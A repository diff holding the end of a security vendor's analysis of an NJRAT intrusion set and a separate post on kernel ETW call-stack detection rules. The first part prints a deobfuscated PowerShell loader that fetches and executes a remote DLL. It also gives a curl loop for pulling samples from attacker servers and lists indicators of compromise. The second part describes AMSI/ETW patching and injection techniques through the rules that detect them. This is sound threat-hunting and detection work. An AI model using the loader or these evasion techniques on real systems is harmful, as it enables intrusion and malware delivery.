If the RAT is connected to a command and control server that is listening for commands, it sends the following additional information:
|
||||
|
||||
- victimName ( **vn** )
|
||||
- Hardware ID
|
||||
- Username
|
||||
- OSFullName
|
||||
- OSVersion Servicepack
|
||||
- if the Program Files folder ends in **X86** or not
|
||||
- if a webcam is present
|
||||
- the window name
|
||||
- a permission check on the registry
|
||||
|
||||
If successfully connected to a C2 server, the operator is able to interact with the implant through a series of commands. Security researchers Hido Cohen and CyberMasterV provide a thorough explanation of these commands, and the overall functionality of the RAT, [here](https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a) and [here](https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/)
|
||||
|
||||
### Activity clusters
|
||||
|
||||
We were able to run additional searches through our telemetry data to identify several clusters of activity. We’ve provided an EQL query below:
|
||||
|
||||
```
|
||||
intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")
|
||||
```
|
||||
|
||||
This query allowed us to identify Powershell activity that uses both Unicode characters and the **replace** function.
|
||||
|
||||

|
||||
|
||||
Looking at these results, we were able to cluster activity by the variable name in combination with the Unicode icon. In the example that sourced this initial research, one cluster would be the variable **iUqm** and the ⌚⌚⌚Unicode icons.
|
||||
|
||||
| Cluster ID | Variable | Unicode icon + number | Percentage of prevalence (rounded) |
|
||||
| ---------- | -------- | --------------------- | ---------------------------------- |
|
||||
| 1 | ngfYq | ❞ (U+275E) | 1% |
|
||||
| 2 | Codigo | ❤ (U+2764) | 1% |
|
||||
| 3 | iUqm | ⌚ (U+231A) | 9% |
|
||||
| 4 | iUqm | ⚔ (U+2694) | 6% |
|
||||
| 5 | Codigo | ⁂ (U+2042) | 62% |
|
||||
| 6 | iUqm | ✌ (U+270C) | 1% |
|
||||
| 7 | Codigo | ⏏ (U+23CF) | 1% |
|
||||
| 8 | Cg1O | ☈ (U+2608) | 5% |
|
||||
| 9 | Codigo | ♔ (U+2654) | 10% |
|
||||
| 10 | iUqm | ﭏ (U+FB4F) | 1% |
|
||||
| 11 | Codigo | \_\*\/\}+/\_= | 1% |
|
||||
| 12 | iUqm | ☈ (U+2608) | 2% |
|
||||
|
||||
Of note, cluster 11 uses all of the same techniques as the other clusters, but instead of a Unicode icon for substitution, it used a series of ASCII characters ( **\_\*\/\}+/\_=** ). The intrusion operated the same way and we are unclear why this cluster deviated from using a Unicode icon.
|
||||
|
||||
### Collecting and parsing network data
|
||||
|
||||
To scale the analysis of this intrusion set, we wanted to automate the extraction of the loader and dropper encoded URLs from the **process.command_line** fields and the follow-on C2 used by the RAT implants.
|
||||
|
||||
#### Loader and Dropper
|
||||
|
||||
As noted in the Loader and Dropper phases, the Base64-encoded string needs substitution of the Unicode icons and to be reversed and decoded. After that process, the first URL is readily available, while the second URL requires reversing yet again.
|
||||
|
||||
To avoid execution of the Powershell command itself, we can leverage the text processing tool **awk**. What follows is a breakdown of how to do the analysis and we’ll provide a shell script with all of it for reference.
|
||||
|
||||
To get started, we’ll need to get access to our data on the command line where we can pipe it to **awk**. We’ve [published a tool](https://github.com/elastic/securitylabs-thrunting-tools) called **eql-query** (and another called **lucene-query** ) to do just that.
|
||||
|
||||
Using **eql-query** , we can run an EQL query to retrieve the last 180-days of results, retrieving only the **process.command_line** field. The value of doing this from the command line is that it allows us to further parse the data and pull out additional strings of interest.
|
||||
|
||||
```
|
||||
eql-query --since 'now-180d/d' --size=1000 --compact --fields 'process.command_line' 'intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")'
|
||||
```
|
||||
|
||||
Next, use **jq** to pass the raw string to **awk** using **jq '.\_source.process.command_line' -r | awk**.
|
||||
|
||||
> If you’re doing this iteratively, it’s best to write the results from **eql-query** to a file, and then operate on the results locally until you have your pipeline how you’d like it.
|
||||
|
||||
The next step is to capture the strings used in the Powershell **replace** commands so we can perform that function ourselves. The best way to do this using **awk** is by capturing them with a regular expression.
|
||||
|
||||
This matches the first and second arguments to replace. The first argument is Unicode and possibly not friendly as an **awk** pattern, so we’ll need to escape it first. Once we’ve made the replacement, we’ll print out the “clean” code, the string to find, and the replacement text.
|
||||
|
||||
```
|
||||
function escape_string( str ) {
|
||||
gsub(/[\\.^$(){}\[\]|*+?]/, "\\\\&", str)
|
||||
return str
|
||||
}
|
||||
{
|
||||
match($0, /replace\('\''(.*)'\'' *, *'\''(.*)'\''/, arr);
|
||||
str=escape_string(arr[1]);
|
||||
rep=arr[2];
|
||||
print gensub(str, rep, "g")
|
||||
}
|
||||
```
|
||||
|
||||
Finally we can **grep** out the Base64 code (using another regex) and reveal the obfuscated Powershell script.
|
||||
|
||||
```
|
||||
grep -oP ''\''\K[A-Za-z0-9+/]+={0,2}(?='\'';)'
|
||||
```
|
||||
|
||||
This automates the manual conversion process we outlined in the Loader, Dropper, and RAT phases above.
|
||||
|
||||
```
|
||||
$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
|
||||
```
|
||||
|
||||
Parsing the URLs from this text should be another simple **awk** match, followed by flipping the second URL, however, Powershell’s default encoding is **UTF-16LE** and **awk** only supports **UTF-8** or ASCII encoding. A tool called [**iconv**](https://linux.die.net/man/1/iconv) can perform the necessary conversion.
|
||||
|
||||
```
|
||||
echo "${line}" | base64 -d | iconv -f UTF-16 -t UTF-8 | awk '{ if ( match($0, /'\''([^'\'']+\/\/:s?ptth)'\''/, arr)) { n=split(arr[1],arr2,""); for(i=1;i<=n;i++){s=arr2[i] s}; print s}; if ( match($0, /'\''(https?:\/\/[^'\'']+)'\''/, arr)){ print arr[1] } }'
|
||||
```
|
||||
|
||||
Once converted, the rest is straightforward parsing. Our output will contain **url1** , **url2** , and a copy of the Unicode strings and their replacements. The URLs are the forward and reverse URLs for each code sample, respectively.
|
||||
|
||||
| Unicode icon | Replacement | url1 | url2 |
|
||||
| ------------ | ----------- | -------------------------------------------- | ------------------------------------------------------------ |
|
||||
| ⌚⌚⌚ | U | `https://tinyurl[.]com/2erph6cs` | `https://cdn.discordapp[.]com/...truncated.../10oct8000.txt` |
|
||||
| ⌚⌚⌚ | U | `http://91.241.19[.]49/ARTS/dllf3txt` | `http://91.241.19[.]49/test/new/ZX1.txt` |
|
||||
| ⁂ | A | `http://20.231.55[.]108/dll/06-07-2022.PDF` | `http://212.192.246[.]226/dsaffdffa.txt` |
|
||||
|
||||
For further details or to try it against your own data, see the [shell script](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt8f67cd063158a2dc/637bc872cca9f010a904ea67/ref4526_url_extraction.zip) that combines it all.
|
||||
|
||||
Now that we have automated the collection and parsing of the URLs for the loader and dropper, we can move on to the RAT infrastructure.
|
||||
|
||||
#### RAT
|
||||
|
||||
As evident in the original Powershell script, we know the RAT uses additional network infrastructure. To enumerate this, we need to pull down the RAT much like the dropper would, take a unique set URLs for each **url1** and **url2** output in the previous step, loop through each list, and use **curl** to download them.
|
||||
|
||||
> This process requires interacting with adversary-owned or controlled infrastructure. Interacting with adversary infrastructure requires disciplined preparation that not all organizations are ready to pursue. If you don't already have strong knowledge of legal considerations, defensive network egress points, sandboxes, an intelligence gain/loss strategy, etc., the following is presented informationally.
|
||||
|
||||
As the loader never saves the downloaded files to disk and there aren’t always filenames, so to keep track of samples, we’ll use a simple counter. This gives us this simple loop:
|
||||
|
||||
```
|
||||
ctr=1
|
||||
for line in $(cat ../url-1.txt); do
|
||||
curl -v -A "${USER_AGENT}" -o "file-${ctr}" -L --connect-timeout 10 "${line}" 2>>"log-${ctr}.txt"
|
||||
ctr=$((ctr + 1))
|
||||
done
|
||||
```
|
||||
|
||||
We use **-v** to capture the request and response headers, **-L** to follow redirects, and **--connect-timeout** to speed up the process when the infrastructure is down. Finally, save the **curl** output to a log file while any files downloaded are saved as **file-X** , where **X** is the value of the counter.
|
||||
|
||||
Any RAT files downloaded are Base64-encoded. We can identify valid Base64-encoded files using the **file** command. A Base64-encoded file will be identified as “ASCII text, with very long lines (_length_), with no line terminators” where _length_ is the file size. For files that match this language, we’ll decode them and save them with a **.dll** extension.
|
||||
|
||||
```
|
||||
for entry in $(file file-?? | awk -F": " '$2 ~ /^ASCII text.*very long lines/ {print $1}'); do
|
||||
rev <"${entry}" | base64 -d >"${entry}.dll"
|
||||
done
|
||||
```
|
||||
|
||||
Now that we have the RAT binaries, we can do some typical static analysis on them. If you have the [VirusTotal command line tool](https://github.com/VirusTotal/vt-cli) and can make API queries, searching for known files is another simple loop over all the saved **dll** files.
|
||||
|
||||
```
|
||||
for entry in *.dll; do
|
||||
hash=$(sha256sum "${entry}" | awk '{print $1}')
|
||||
vt search "${hash}" >"${entry}.vt.yml"
|
||||
done
|
||||
```
|
||||
|
||||
Looking at the output, we can see that any **yml** file (the **vt** command output) with **0** bytes means no match. These files are unknown to VirusTotal. In this output, we can see that **file-30.dll** , **file-31.dll** , and **file-34.dll** are unknown to VirusTotal.
|
||||
|
||||
```
|
||||
$ ls -s *.dll{,.vt.yml}
|
||||
|
||||
32 file-28.dll
|
||||
32 file-28.dll.vt.yml
|
||||
32 file-30.dll
|
||||
0 file-30.dll.vt.yml
|
||||
32 file-31.dll
|
||||
0 file-31.dll.vt.yml
|
||||
468 file-34.dll
|
||||
0 file-34.dll.vt.yml
|
||||
48 file-35.dll
|
||||
40 file-35.dll.vt.yml
|
||||
80 file-38.dll
|
||||
36 file-38.dll.vt.yml
|
||||
```
|
||||
|
||||
The final analysis we’re going to perform is to attempt to dump any domain names from the DLLs. For many executable file formats, the **strings** command can provide that information. Unfortunately, most of these DLLs are .Net assemblies and the **strings** command won’t work to extract strings from .Net assemblies. The **file** command can again help us identify these as in this example:
|
||||
|
||||
```
|
||||
$ file file-31.dll
|
||||
file-31.dll: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
|
||||
```
|
||||
|
||||
The upside of .Net is that it is easily disassembled and the Mono project provides a tool just for that purpose, [**ikdasm**](https://www.mono-project.com/docs/tools+libraries/tools/). This gives us our final loop to search for domain names or references to HTTP URLs.
|
||||
|
||||
```
|
||||
for item in *.dll; do
|
||||
ikdasm "${item}" | grep -E '(\.(org|com|net|ly))|((yl|ten|moc|gro)\.)|("http|ptth")';
|
||||
Done
|
||||
```
|
||||
|
||||
For more details you can refer to this [shell script](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltdeb8fbbb0f53fa97/637bc87271c75510a0ca1a95/ref4526_rat_collection.zip) that puts this second stage of analysis together.
|
||||
|
||||
## Diamond Model
|
||||
|
||||
Elastic Security utilizes the [Diamond Model](https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf) to describe high-level relationships between adversaries and victims of intrusions.
|
||||
|
||||

|
||||
|
||||
## Observed adversary tactics and techniques
|
||||
|
||||
Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.
|
||||
|
||||
### Tactics
|
||||
|
||||
Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.
|
||||
|
||||
- [Resource Development](https://attack.mitre.org/tactics/TA0042/)
|
||||
- [Execution](https://attack.mitre.org/tactics/TA0002/)
|
||||
- [Persistence](https://attack.mitre.org/tactics/TA0003/)
|
||||
- [Defense Evasion](https://attack.mitre.org/tactics/TA0005/)
|
||||
- [Discovery](https://attack.mitre.org/tactics/TA0007/)
|
||||
- [Command and Control](https://attack.mitre.org/tactics/TA0011/)
|
||||
|
||||
### Techniques / Sub techniques
|
||||
|
||||
Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.
|
||||
|
||||
- [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583/)
|
||||
- [Stage Capabilities: Upload Malware](https://attack.mitre.org/techniques/T1608/001/)
|
||||
- [Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001/)
|
||||
- [Command and Scripting Interpreter: Visual Basic](https://attack.mitre.org/techniques/T1059/005/)
|
||||
- [Command and Scripting Interpreter: PowerShell](https://attack.mitre.org/techniques/T1059/001/)
|
||||
- [System Binary Proxy Execution: InstallUtil](https://attack.mitre.org/techniques/T1218/004/)
|
||||
- [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027/)
|
||||
|
||||
## Detection logic
|
||||
|
||||
### Behavior rules
|
||||
|
||||
- [Connection to WebService by a Signed Binary Proxy](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_webservice_by_a_signed_binary_proxy.toml)
|
||||
- [Suspicious PowerShell Execution](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_powershell_execution.toml)
|
||||
- [Process Execution with Unusual File Extension](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_execution_with_unusual_file_extension.toml)
|
||||
- [Script File Written to Startup Folder](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/persistence_script_file_written_to_startup_folder.toml)
|
||||
- [Suspicious PowerShell Execution via Windows Scripts](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_powershell_execution_via_windows_scripts.toml)
|
||||
- [Connection to Dynamic DNS Provider by an Unsigned Binary](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_dynamic_dns_provider_by_an_unsigned_binary.toml)
|
||||
|
||||
### Hunting queries
|
||||
|
||||
Identifying Unicode in Powershell can be accomplished with either a KQL or EQL query.
|
||||
|
||||
The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration.
|
||||
|
||||
#### KQL query
|
||||
|
||||
Using the Discover app in Kibana, the below query will identify the use of Powershell with Unicode strings. While this identified all of the events in this research, it also identified other events that were not part of the REF4526 intrusion set.
|
||||
|
||||
The proceeding and preceding wildcards ( **\*** ) can be an expensive search over a large number of events.
|
||||
|
||||
```
|
||||
process.pe.original_file_name : "PowerShell.EXE" and process.command_line : (*Unicode.GetString* and *replace*)
|
||||
```
|
||||
|
||||
#### EQL query
|
||||
|
||||
Using the [Timeline section](https://www.elastic.co/guide/en/security/current/timelines-ui.html#filter-with-eql) of the Security Solution in Kibana under the “Correlation” tab, this query will identify the use of Powershell with Unicode strings and the **replace** function. This identified all observed REF4526 events.
|
||||
|
||||
```
|
||||
intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
The following were referenced throughout the above research:
|
||||
|
||||
- [https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara](https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara)
|
||||
- [https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat](https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat)
|
||||
- [https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat](https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat)
|
||||
- [https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html](https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html)
|
||||
- [https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/](https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/)
|
||||
- [https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs](https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs)
|
||||
- [https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a](https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a)
|
||||
- [https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/](https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/)
|
||||
|
||||
## Observables
|
||||
|
||||
All observables are also available for [download](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltc0eb869ac242975f/637bf8b1fa033a109b5d94bd/ref4526-indicators.zip) in both ECS and STIX format in a combined zip bundle.
|
||||
|
||||
The following observables were discussed in this research.
|
||||
|
||||
| Observable | Type | Reference | Note |
|
||||
| ----------------------------------------------------------------------------------------------- | ----------- | ------------- | -------------------------------- |
|
||||
| 49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2 | SHA-256 | dllsica.bin | Initial loader |
|
||||
| bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf | SHA-256 | pesica.bin | YIPPHB downloader |
|
||||
| 1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3 | SHA-256 | 10oct8000 | NJRAT implant |
|
||||
| `https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt` | url | Loader phase | NJRAT download location |
|
||||
| `https://tinyurl[.]com/2erph6cs` | url | Loader phase | REF4526 loader download location |
|
||||
| `https://tinyurl[.]com/4vfu6wd` | url | Dropper phase | YIPPHB download location |
|
||||
| wins10ok.duckdns[.]org | domain-name | NJRAT C2 | NA |
|
|
@ -0,0 +1,217 @@
|
|||
---
|
||||
title: "Doubling Down: Detecting In-Memory Threats with Kernel ETW Call Stacks"
|
||||
slug: "doubling-down-etw-callstacks"
|
||||
date: "2024-01-09"
|
||||
description: "With Elastic Security 8.11, we added further kernel telemetry call stack-based detections to increase efficacy against in-memory threats."
|
||||
author:
|
||||
- slug: john-uhlmann
|
||||
- slug: samir-bousseaden
|
||||
image: "photo-edited-01.png"
|
||||
category:
|
||||
- slug: security-research
|
||||
tags:
|
||||
- slug: security-research
|
||||
- slug: security-operations
|
||||
- slug: detection-science
|
||||
---
|
||||
|
||||
## Introduction
|
||||
|
||||
We were pleased to see that the [kernel call stack](https://www.elastic.co/security-labs/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks) capability we released in 8.8 was met with [extremely](https://x.com/Kostastsale/status/1664050735166930944) [positive](https://x.com/HackingLZ/status/1663897174806089728) [community feedback](https://twitter.com/bohops/status/1726251988244160776) - both from the offensive research teams attempting to evade us and the defensive teams triaging alerts faster due to the additional [context](https://www.elastic.co/security-labs/peeling-back-the-curtain-with-call-stacks).
|
||||
|
||||
But this was only the first step: We needed to arm defenders with even more visibility from the kernel - the most reliable mechanism to combat user-mode threats. With the introduction of Kernel Patch Protection in x64 Windows, Microsoft created a shared responsibility model where security vendors are now limited to only the kernel visibility and extension points that Microsoft provides. The most notable addition to this visibility is the [Microsoft-Windows-Threat-Intelligence Event Tracing for Windows](https://github.com/jdu2600/Windows10EtwEvents/blob/master/manifest/Microsoft-Windows-Threat-Intelligence.tsv)(ETW) provider.
|
||||
|
||||
Microsoft has identified a handful of highly security-relevant syscalls and provided security vendors with near real-time telemetry of those. While we would strongly prefer inline callbacks that allow synchronous blocking of malicious activity, Microsoft has implicitly not deemed this a necessary security use case yet. Currently, the only filtering mechanism afforded to security vendors for these syscalls is user-mode hooking - and that approach is [inherently](https://blogs.blackberry.com/en/2017/02/universal-unhooking-blinding-security-software) [fragile](https://www.cyberbit.com/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/). At Elastic, we determined that a more robust detection approach based on kernel telemetry collected through ETW would provide greater security benefits than easily bypassed user-mode hooks. That said, kernel ETW does have some [systemic issues](https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs) that we have logged with Microsoft, along with suggested [mitigations](https://www.elastic.co/security-labs/finding-truth-in-the-shadows).
|
||||
|
||||
## Implementation
|
||||
|
||||
Endpoint telemetry is a careful balance between completeness and cost. Vendors don’t want to balloon your SIEM storage costs unnecessarily, but they also don't want you to miss the critical indicator of compromise. To reduce event volumes for these new API events, we fingerprint each event and only emit it if it is unique. This deduplication ensures a minimal impact on detection fidelity.
|
||||
|
||||
However, this approach proved insufficient in reducing API event volumes to manageable levels in all environments. Any further global reduction of event volumes we introduced would be a blindspot for our customers. Instead of potentially impairing detection visibility in this fashion, we determined that these highly verbose events would be processed for detections on the host but would not be streamed to the SIEM by default. This approach reduces storage costs for most of our users while also empowering any customer SOCs that want the full fidelity of those events to opt into streaming via an advanced option available in Endpoint policy and implement filtering tailored to their specific environments.
|
||||
|
||||
Currently, we propagate visibility into the following APIs -
|
||||
|
||||
- `VirtualAlloc`
|
||||
- `VirtualProtect`
|
||||
- `MapViewOfFile`
|
||||
- `VirtualAllocEx`
|
||||
- `VirtualProtectEx`
|
||||
- `MapViewOfFile2`
|
||||
- `QueueUserAPC` [call stacks not always available due to ETW limitations]
|
||||
- `SetThreadContext` [call stacks planned for 8.12]
|
||||
- `WriteProcessMemory`
|
||||
- `ReadProcessMemory` (lsass) [planned for 8.12]
|
||||
|
||||
In addition to call stack information, our API events are also enriched with several [behaviors](https://github.com/elastic/endpoint-package/blob/main/custom_schemas/custom_api.yml):
|
||||
|
||||
| API event | Description |
|
||||
|-----|-----|
|
||||
| `cross-process` | The observed activity was between two processes. |
|
||||
| `native_api` | A call was made directly to the undocumented Native API rather than the supported Win32 API. |
|
||||
| `direct_syscall` | A syscall instruction originated outside of the Native API layer. |
|
||||
| `proxy_call` | The call stack appears to show a proxied API call to masking the true caller. |
|
||||
| `sensitive_api` | Executable non-image memory is unexpectedly calling a sensitive API. |
|
||||
| `shellcode` | Suspicious executable non-image memory is calling a sensitive API. |
|
||||
| `image-hooked` | An entry in the call stack appears to have been hooked. |
|
||||
| `image_indirect_call` | An entry in the call stack was preceded by a call to a dynamically resolved function. |
|
||||
| `image_rop` | An entry in the call stack was not preceded by a call instruction. |
|
||||
| `image_rwx` | An entry in the call stack is writable. |
|
||||
| `unbacked_rwx` | An entry in the call stack is non-image and writable. |
|
||||
| `allocate_shellcode` | A region of non-image executable memory suspiciously allocated more executable memory. |
|
||||
|`execute_fluctuation` | The PAGE_EXECUTE protection is unexpectedly fluctuating. |
|
||||
| `write_fluctuation` | The PAGE_WRITE protection of executable memory is unexpectedly fluctuating. |
|
||||
| `hook_api` | A change to the memory protection of a small executable image memory region was made. |
|
||||
| `hollow_image` | A change to the memory protection of a large executable image memory region was made. |
|
||||
| `hook_unbacked` | A change to the memory protection of a small executable non-image memory was made. |
|
||||
| `hollow_unbacked` | A change to the memory protection of a large executable non-image memory was made. |
|
||||
| `guarded_code` | Executable memory was unexpectedly marked as PAGE_GUARD.
|
||||
| `hidden_code` | Executable memory was unexpectedly marked as PAGE_NOACCESS.
|
||||
| `execute_shellcode` | A region of non-image executable memory was executed in an unexpected fashion. |
|
||||
| `hardware_breakpoint_set` | A hardware breakpoint was potentially set. |
|
||||
|
||||
## New Rules
|
||||
|
||||
In 8.11, Elastic Defend’s behavior protection comes with many new rules against various popular malware techniques, such as shellcode fluctuation, threadless injection, direct syscalls, indirect calls, and AMSI or ETW patching.
|
||||
|
||||
These rules include:
|
||||
|
||||
### Windows API Call via Direct Syscall
|
||||
|
||||
Identifies the call of commonly abused Windows APIs to perform code injection and where the call stack is not starting with NTDLL:
|
||||
|
||||
```
|
||||
api where event.category == "intrusion_detection" and
|
||||
|
||||
process.Ext.api.behaviors == "direct_syscall" and
|
||||
|
||||
process.Ext.api.name : ("VirtualAlloc*", "VirtualProtect*",
|
||||
"MapViewOfFile*", "WriteProcessMemory")
|
||||
```
|
||||
|
||||

|
||||
|
||||
### VirtualProtect via Random Indirect Syscall
|
||||
|
||||
Identifies calls to the VirtualProtect API and where the call stack is not originating from its equivalent NT syscall NtProtectVirtualMemory:
|
||||
|
||||
```
|
||||
api where
|
||||
|
||||
process.Ext.api.name : "VirtualProtect*" and
|
||||
|
||||
not _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info: ("*ntdll.dll!NtProtectVirtualMemory*", "*ntdll.dll!ZwProtectVirtualMemory*"))
|
||||
```
|
||||
|
||||

|
||||
|
||||
### Image Hollow from Unbacked Memory
|
||||
|
||||
```
|
||||
api where process.Ext.api.behaviors == "hollow_image" and
|
||||
|
||||
process.Ext.api.name : "VirtualProtect*" and
|
||||
|
||||
process.Ext.api.summary : "*.dll*" and
|
||||
|
||||
process.Ext.api.parameters.size >= 10000 and process.executable != null and
|
||||
|
||||
process.thread.Ext.call_stack_summary : "*Unbacked*"
|
||||
```
|
||||
|
||||
Below example of matches on `wwanmm.dll` module stomping to replace it’s memory content with a malicious payload:
|
||||
|
||||

|
||||
|
||||
### AMSI and WLDP Memory Patching
|
||||
|
||||
Identifies attempts to modify the permissions or write to Microsoft Antimalware Scan Interface or the Windows Lock Down Policy related DLLs from memory to modify its behavior for evading malicious content checks:
|
||||
|
||||
```
|
||||
api where
|
||||
|
||||
(
|
||||
(process.Ext.api.name : "VirtualProtect*" and
|
||||
process.Ext.api.parameters.protection : "*W*") or
|
||||
|
||||
process.Ext.api.name : "WriteProcessMemory*"
|
||||
) and
|
||||
|
||||
process.Ext.api.summary : ("* amsi.dll*", "* mpoav.dll*", "* wldp.dll*")
|
||||
```
|
||||
|
||||

|
||||
|
||||
### Evasion via Event Tracing for Windows Patching
|
||||
|
||||
Identifies attempts to patch the Microsoft Event Tracing for Windows via memory modification:
|
||||
|
||||
```
|
||||
api where process.Ext.api.name : "WriteProcessMemory*" and
|
||||
|
||||
process.Ext.api.summary : ("*ntdll.dll!Etw*", "*ntdll.dll!NtTrace*") and
|
||||
|
||||
not process.executable : ("?:\\Windows\\System32\\lsass.exe", "\\Device\\HarddiskVolume*\\Windows\\System32\\lsass.exe")
|
||||
```
|
||||
|
||||

|
||||
|
||||
### Windows System Module Remote Hooking
|
||||
|
||||
Identifies attempts to write to a remote process memory to modify NTDLL or Kernelbase modules as a preparation step for stealthy code injection:
|
||||
|
||||
```
|
||||
api where process.Ext.api.name : "WriteProcessMemory" and
|
||||
|
||||
process.Ext.api.behaviors == "cross-process" and
|
||||
|
||||
process.Ext.api.summary : ("*ntdll.dll*", "*kernelbase.dll*")
|
||||
```
|
||||
|
||||
Below is an example of matches on [ThreadLessInject](https://github.com/CCob/ThreadlessInject), a new process injection technique that involves hooking an export function from a remote process to gain shellcode execution (avoiding the creation of a remote thread):
|
||||
|
||||

|
||||
|
||||
## Conclusion
|
||||
|
||||
Until Microsoft provides vendors with kernel callbacks for security-relevant syscalls, Threat-Intelligence ETW will remain the most robust visibility into in-memory threats on Windows. At Elastic, we’re committed to putting that visibility to work for customers and optionally directly into their hands without any hidden filtering assumptions.
|
||||
|
||||
[Stay tuned](https://www.elastic.co/guide/en/security/current/release-notes.html) for the call stack features in upcoming releases of Elastic Security.
|
||||
|
||||
## Resources
|
||||
|
||||
### Rules released with 8.11:
|
||||
|
||||
- [AMSI or WLDP Bypass via Memory Patching](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_amsi_or_wldp_bypass_via_memory_patching.toml)
|
||||
- [Call Stack Spoofing via Synthetic Frames](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_call_stack_spoofing_via_synthetic_frames.toml)
|
||||
- [Evasion via Event Tracing for Windows Patching](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_evasion_via_event_tracing_for_windows_patching.toml)
|
||||
- [Memory Protection Modification of an Unsigned DLL](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_memory_protection_modification_of_an_unsigned_dll.toml)
|
||||
- [Network Activity from a Stomped Module](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_network_activity_from_a_stomped_module.toml)
|
||||
- [Potential Evasion via Invalid Code Signature](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_potential_evasion_via_invalid_code_signature.toml)
|
||||
- [Potential Injection via an Exception Handler](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_potential_injection_via_an_exception_handler.toml)
|
||||
- [Potential Injection via Asynchronous Procedure Call](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_potential_injection_via_asynchronous_procedure_call.toml)
|
||||
- [Potential Thread Call Stack Spoofing](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_potential_thread_call_stack_spoofing.toml)
|
||||
- [Remote Process Injection via Mapping](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_remote_process_injection_via_mapping.toml)
|
||||
- [Remote Process Manipulation by Suspicious Process](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_remote_process_manipulation_by_suspicious_process.toml)
|
||||
- [Remote Thread Context Manipulation](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_remote_thread_context_manipulation.toml)
|
||||
